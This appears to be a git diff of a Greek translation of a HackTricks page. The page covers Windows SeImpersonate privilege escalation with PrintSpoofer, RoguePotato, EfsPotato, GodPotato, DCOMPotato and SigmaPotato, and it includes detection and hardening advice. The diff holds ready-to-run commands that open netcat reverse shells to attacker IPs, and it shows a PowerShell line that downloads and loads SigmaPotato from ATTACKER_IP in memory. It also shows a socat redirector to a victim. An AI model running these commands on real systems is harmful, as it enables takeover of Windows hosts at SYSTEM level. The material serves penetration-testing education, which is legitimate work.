- Πρέπει να διαβάσετε τουλάχιστον ένα μήνυμα από την pipe πριν καλέσετε ImpersonateNamedPipeClient· αλλιώς θα λάβετε ERROR_CANNOT_IMPERSONATE (1368).
|
||||
- Αν ο client συνδεθεί με SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, ο server δεν μπορεί να πραγματοποιήσει πλήρες impersonation· ελέγξτε το impersonation level του token μέσω GetTokenInformation(TokenImpersonationLevel).
|
||||
- Η CreateProcessWithTokenW απαιτεί SeImpersonatePrivilege στον caller. Αν αποτύχει με ERROR_PRIVILEGE_NOT_HELD (1314), χρησιμοποιήστε CreateProcessAsUser αφού έχετε ήδη impersonated το SYSTEM.
|
||||
- Βεβαιωθείτε ότι ο security descriptor της pipe σας επιτρέπει στην target υπηρεσία να συνδεθεί αν το σκληρύνετε· από προεπιλογή, pipes υπό \\.\pipe είναι προσβάσιμες σύμφωνα με το DACL του server.
|
||||
|
||||
## Ανίχνευση και σκληρυνση
|
||||
- Παρακολουθήστε τη δημιουργία και τις συνδέσεις named pipes. Τα Sysmon Event IDs 17 (Pipe Created) και 18 (Pipe Connected) είναι χρήσιμα για να καθορίσετε τη βάση νόμιμων ονομάτων pipe και να εντοπίσετε ασυνήθιστα, τυχαία-looking pipes πριν από γεγονότα χειρισμού token.
|
||||
- Αναζητήστε ακολουθίες: μια διεργασία δημιουργεί ένα named pipe, μια υπηρεσία SYSTEM συνδέεται, και στη συνέχεια η δημιουργούσα διεργασία δημιουργεί ένα child ως SYSTEM.
|
||||
- Μειώστε την έκθεση αφαιρώντας το SeImpersonatePrivilege από μη απαραίτητους λογαριασμούς υπηρεσιών και αποφεύγοντας περιττά service logons με υψηλά προνόμια.
|
||||
- Αμυντική ανάπτυξη: όταν συνδέεστε σε μη αξιόπιστα named pipes, καθορίστε SECURITY_SQOS_PRESENT με SECURITY_IDENTIFICATION για να αποτρέψετε τους servers από το να κάνουν πλήρες impersonation του client εκτός αν είναι απαραίτητο.
|
||||
## Detection and hardening
|
||||
- Παρακολουθήστε τη δημιουργία named pipes και τις συνδέσεις. Τα Sysmon Event IDs 17 (Pipe Created) και 18 (Pipe Connected) είναι χρήσιμα για να καθορίσετε βασική γραμμή νόμιμων ονομάτων pipe και να εντοπίσετε ασυνήθιστες, τυχαία-φαινομενικές pipes που προηγούνται γεγονότων χειρισμού token.
|
||||
- Αναζητήστε αλληλουχίες: μια διεργασία δημιουργεί μια pipe, μια υπηρεσία SYSTEM συνδέεται, και στη συνέχεια η δημιουργούσα διεργασία εκκινεί ένα child ως SYSTEM.
|
||||
- Μειώστε την έκθεση αφαιρώντας το SeImpersonatePrivilege από περιττούς λογαριασμούς υπηρεσιών και αποφεύγοντας μη απαραίτητες service logons με υψηλά προνόμια.
|
||||
- Αμυντική ανάπτυξη: κατά τη σύνδεση σε untrusted named pipes, καθορίστε SECURITY_SQOS_PRESENT με SECURITY_IDENTIFICATION για να αποτρέψετε τους servers από το να πραγματοποιήσουν πλήρες impersonation του client εκτός αν είναι απαραίτητο.
|
||||
|
||||
## Αναφορές
|
||||
- Windows: ImpersonateNamedPipeClient documentation (απαιτήσεις impersonation και συμπεριφορά). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
|
||||
- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
|
||||
## References
|
||||
- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
|
||||
- ired.team: Windows named pipes privilege escalation (οδηγός και παραδείγματα κώδικα). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -3,10 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato doesn't work** σε Windows Server 2019 και Windows 10 build 1809 και μετά. Ωστόσο, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν τα ίδια προνόμια και να αποκτήσουν πρόσβαση επιπέδου `NT AUTHORITY\SYSTEM`.** Αυτό το [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) αναλύει σε βάθος το εργαλείο `PrintSpoofer`, το οποίο μπορεί να χρησιμοποιηθεί για να καταχραστεί τα impersonation privileges σε hosts Windows 10 και Server 2019 όπου το JuicyPotato δεν λειτουργεί πλέον.
|
||||
> **JuicyPotato δεν λειτουργεί** σε Windows Server 2019 και Windows 10 build 1809 και νεότερες εκδόσεις. Ωστόσο, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** μπορούν να χρησιμοποιηθούν για **αξιοποίηση των ίδιων προνομίων και απόκτηση πρόσβασης επιπέδου `NT AUTHORITY\SYSTEM`**. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
|
||||
|
||||
> [!TIP]
|
||||
> Μια σύγχρονη εναλλακτική που συντηρείται συχνά το 2024–2025 είναι η SigmaPotato (ένα fork του GodPotato) η οποία προσθέτει χρήση in-memory/.NET reflection και εκτεταμένη υποστήριξη OS. Δείτε τη γρήγορη χρήση παρακάτω και το repo στις Αναφορές.
|
||||
> Μια σύγχρονη εναλλακτική που συντηρείται τακτικά το 2024–2025 είναι SigmaPotato (a fork of GodPotato) που προσθέτει in-memory/.NET reflection usage και εκτεταμένη υποστήριξη OS. Δείτε γρήγορη χρήση παρακάτω και το repo στις Αναφορές.
|
||||
|
||||
Related pages for background and manual techniques:
|
||||
|
||||
@ -22,25 +22,25 @@ from-high-integrity-to-system-with-name-pipes.md
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Απαιτήσεις και συνηθισμένες παγίδες
|
||||
## Απαιτήσεις και συνηθισμένα προβλήματα
|
||||
|
||||
Όλες οι παρακάτω τεχνικές βασίζονται στην κατάχρηση μιας υπηρεσίας με δυνατότητα impersonation που τρέχει με προνόμια, από ένα περιβάλλον που κατέχει κάποιο από τα ακόλουθα προνόμια:
|
||||
Όλες οι παρακάτω τεχνικές βασίζονται στην κατάχρηση μιας υπηρεσίας με δυνατότητα impersonation από πλαίσιο που διαθέτει κάποιο από τα παρακάτω προνόμια:
|
||||
|
||||
- SeImpersonatePrivilege (το πιο συνηθισμένο) ή SeAssignPrimaryTokenPrivilege
|
||||
- Δεν απαιτείται High integrity εάν το token έχει ήδη SeImpersonatePrivilege (τυπικό για πολλούς service accounts όπως IIS AppPool, MSSQL, κ.λπ.)
|
||||
- Δεν απαιτείται high integrity αν το token έχει ήδη SeImpersonatePrivilege (τυπικό για πολλούς λογαριασμούς υπηρεσιών όπως IIS AppPool, MSSQL, κ.λπ.)
|
||||
|
||||
Ελέγξτε γρήγορα τα προνόμια:
|
||||
Ελέγξτε τα προνόμια γρήγορα:
|
||||
```cmd
|
||||
whoami /priv | findstr /i impersonate
|
||||
```
|
||||
Λειτουργικές σημειώσεις:
|
||||
|
||||
- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). Σε περιβάλλοντα με αυστηρή θωράκιση όπου ο Spooler έχει απενεργοποιηθεί μετά το PrintNightmare, προτιμήστε RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato requires an OXID resolver reachable on TCP/135. Αν το egress είναι μπλοκαρισμένο, χρησιμοποιήστε redirector/port-forwarder (βλέπε παράδειγμα παρακάτω). Παλαιότερες εκδόσεις χρειάζονταν το -f flag.
|
||||
- EfsPotato/SharpEfsPotato abuse MS-EFSR; αν ένας pipe είναι μπλοκαρισμένος, δοκιμάστε εναλλακτικούς pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; δοκιμάστε διαφορετικό pipe/transport ή βεβαιωθείτε ότι η στοχευόμενη υπηρεσία εκτελείται.
|
||||
- PrintSpoofer χρειάζεται την υπηρεσία Print Spooler να είναι ενεργή και προσβάσιμη μέσω του τοπικού RPC endpoint (spoolss). Σε σκληροποιημένα περιβάλλοντα όπου ο Spooler έχει απενεργοποιηθεί μετά το PrintNightmare, προτιμήστε RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato απαιτεί έναν OXID resolver προσβάσιμο μέσω TCP/135. Εάν το egress είναι μπλοκαρισμένο, χρησιμοποιήστε έναν redirector/port-forwarder (βλέπε παράδειγμα παρακάτω). Παλαιότερα builds απαιτούσαν το -f flag.
|
||||
- EfsPotato/SharpEfsPotato εκμεταλλεύονται το MS-EFSR· αν ένας pipe είναι μπλοκαρισμένος, δοκιμάστε εναλλακτικούς pipes (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Το Error 0x6d3 κατά τη διάρκεια του RpcBindingSetAuthInfo συνήθως υποδεικνύει μια άγνωστη/μη υποστηριζόμενη RPC authentication service· δοκιμάστε διαφορετικό pipe/transport ή βεβαιωθείτε ότι η στοχευόμενη υπηρεσία τρέχει.
|
||||
|
||||
## Γρήγορη επίδειξη
|
||||
## Quick Demo
|
||||
|
||||
### PrintSpoofer
|
||||
```bash
|
||||
@ -57,9 +57,9 @@ c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
|
||||
NULL
|
||||
|
||||
```
|
||||
Notes:
|
||||
- Μπορείτε να χρησιμοποιήσετε -i για να δημιουργήσετε μια interactive process στην τρέχουσα κονσόλα, ή -c για να εκτελέσετε ένα one-liner.
|
||||
- Απαιτείται η υπηρεσία Spooler. Εάν είναι απενεργοποιημένη, αυτό θα αποτύχει.
|
||||
Σημειώσεις:
|
||||
- Μπορείτε να χρησιμοποιήσετε -i για να εκκινήσετε μια διαδραστική διεργασία στην τρέχουσα κονσόλα, ή -c για να εκτελέσετε μια εντολή μίας γραμμής.
|
||||
- Απαιτεί την υπηρεσία Spooler. Εάν είναι απενεργοποιημένη, αυτό θα αποτύχει.
|
||||
|
||||
### RoguePotato
|
||||
```bash
|
||||
@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
Αν η εξερχόμενη θύρα 135 είναι αποκλεισμένη, pivot the OXID resolver μέσω socat στον redirector σου:
|
||||
Αν η εξερχόμενη θύρα 135 είναι μπλοκαρισμένη, pivot the OXID resolver via socat on your redirector:
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
|
||||
|
||||
nt authority\system
|
||||
```
|
||||
Συμβουλή: Αν ένας pipe αποτύχει ή το EDR τον μπλοκάρει, δοκιμάστε τους άλλους υποστηριζόμενους pipes:
|
||||
Συμβουλή: Αν ένα pipe αποτύχει ή το EDR το μπλοκάρει, δοκιμάστε τα άλλα υποστηριζόμενα pipes:
|
||||
```text
|
||||
EfsPotato <cmd> [pipe]
|
||||
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
@ -123,13 +123,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Λειτουργεί σε Windows 8/8.1–11 και Server 2012–2022 όταν το SeImpersonatePrivilege είναι παρόν.
|
||||
- Λειτουργεί σε Windows 8/8.1–11 και Server 2012–2022 όταν υπάρχει το SeImpersonatePrivilege.
|
||||
|
||||
### DCOMPotato
|
||||
|
||||

|
||||
|
||||
DCOMPotato παρέχει δύο παραλλαγές που στοχεύουν service DCOM objects που από προεπιλογή έχουν RPC_C_IMP_LEVEL_IMPERSONATE. Χτίστε ή χρησιμοποιήστε τα παρεχόμενα binaries και εκτελέστε την εντολή σας:
|
||||
DCOMPotato παρέχει δύο παραλλαγές που στοχεύουν αντικείμενα υπηρεσίας DCOM που έχουν προεπιλογή το RPC_C_IMP_LEVEL_IMPERSONATE. Δημιουργήστε ή χρησιμοποιήστε τα παρεχόμενα binaries και τρέξτε την εντολή σας:
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
@ -139,7 +139,7 @@ McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
### SigmaPotato (ενημερωμένο fork του GodPotato)
|
||||
|
||||
Το SigmaPotato προσθέτει σύγχρονες βελτιώσεις όπως in-memory execution μέσω .NET reflection και ένα βοηθητικό PowerShell reverse shell.
|
||||
Το SigmaPotato προσθέτει σύγχρονες βελτιώσεις, όπως in-memory execution μέσω .NET reflection και ένα βοηθητικό για PowerShell reverse shell.
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
@ -148,13 +148,13 @@ McpManagementPotato.exe "cmd /c whoami"
|
||||
# Or ask it to spawn a PS reverse shell
|
||||
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
|
||||
```
|
||||
## Σημειώσεις ανίχνευσης και θωράκισης
|
||||
## Σημειώσεις ανίχνευσης και σκληρύνσεως
|
||||
|
||||
- Παρακολουθήστε για διεργασίες που δημιουργούν named pipes και αμέσως καλούν token-duplication APIs, ακολουθούμενες από CreateProcessAsUser/CreateProcessWithTokenW. Το Sysmon μπορεί να εμφανίσει χρήσιμη τηλεμετρία: Event ID 1 (process creation), 17/18 (named pipe created/connected), και γραμμές εντολών που δημιουργούν child processes ως SYSTEM.
|
||||
- Spooler hardening: Απενεργοποίηση της υπηρεσίας Print Spooler σε servers όπου δεν είναι απαραίτητη αποτρέπει PrintSpoofer-style local coercions μέσω spoolss.
|
||||
- Service account hardening: Ελαχιστοποιήστε την ανάθεση SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege σε custom services. Σκεφτείτε να τρέχετε υπηρεσίες υπό virtual accounts με τα ελάχιστα απαιτούμενα privileges και να τις απομονώνετε με service SID και write-restricted tokens όταν είναι δυνατόν.
|
||||
- Network controls: Το μπλοκάρισμα outbound TCP/135 ή ο περιορισμός της κίνησης RPC endpoint mapper μπορεί να σπάσει το RoguePotato εκτός αν υπάρχει internal redirector.
|
||||
- EDR/AV: Όλα αυτά τα εργαλεία είναι ευρέως signatured. Η επανασυγκρότηση από source, η μετονομασία symbols/strings ή η χρήση in-memory execution μπορεί να μειώσει τον εντοπισμό αλλά δεν θα αποτρέψει αξιόπιστες behavioral detections.
|
||||
- Παρακολουθήστε για διεργασίες που δημιουργούν named pipes και καλούν αμέσως token-duplication APIs ακολουθούμενα από CreateProcessAsUser/CreateProcessWithTokenW. Το Sysmon μπορεί να αποκαλύψει χρήσιμη τηλεμετρία: Event ID 1 (δημιουργία διεργασίας), 17/18 (named pipe created/connected), και command lines που spawn-άρουν child processes ως SYSTEM.
|
||||
- Spooler hardening: Η απενεργοποίηση της Print Spooler service σε servers όπου δεν απαιτείται αποτρέπει PrintSpoofer-style local coercions μέσω spoolss.
|
||||
- Service account hardening: Ελαχιστοποιήστε την ανάθεση των SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege σε custom services. Σκεφτείτε να τρέχετε services υπό virtual accounts με τα ελάχιστα απαιτούμενα προνόμια και να τα απομονώνετε με service SID και write-restricted tokens όταν είναι δυνατό.
|
||||
- Network controls: Το μπλοκάρισμα outbound TCP/135 ή ο περιορισμός της κίνησης RPC endpoint mapper μπορεί να σπάσει το RoguePotato εκτός αν υπάρχει διαθέσιμο internal redirector.
|
||||
- EDR/AV: Όλα αυτά τα εργαλεία είναι ευρέως ανιχνεύσιμα με signatures. Η recompilation από το source, η μετονομασία symbols/strings ή η χρήση in-memory execution μπορεί να μειώσει την ανιχνευσιμότητα αλλά δεν θα παρακάμψει αξιόπιστες behavioral ανιχνεύσεις.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user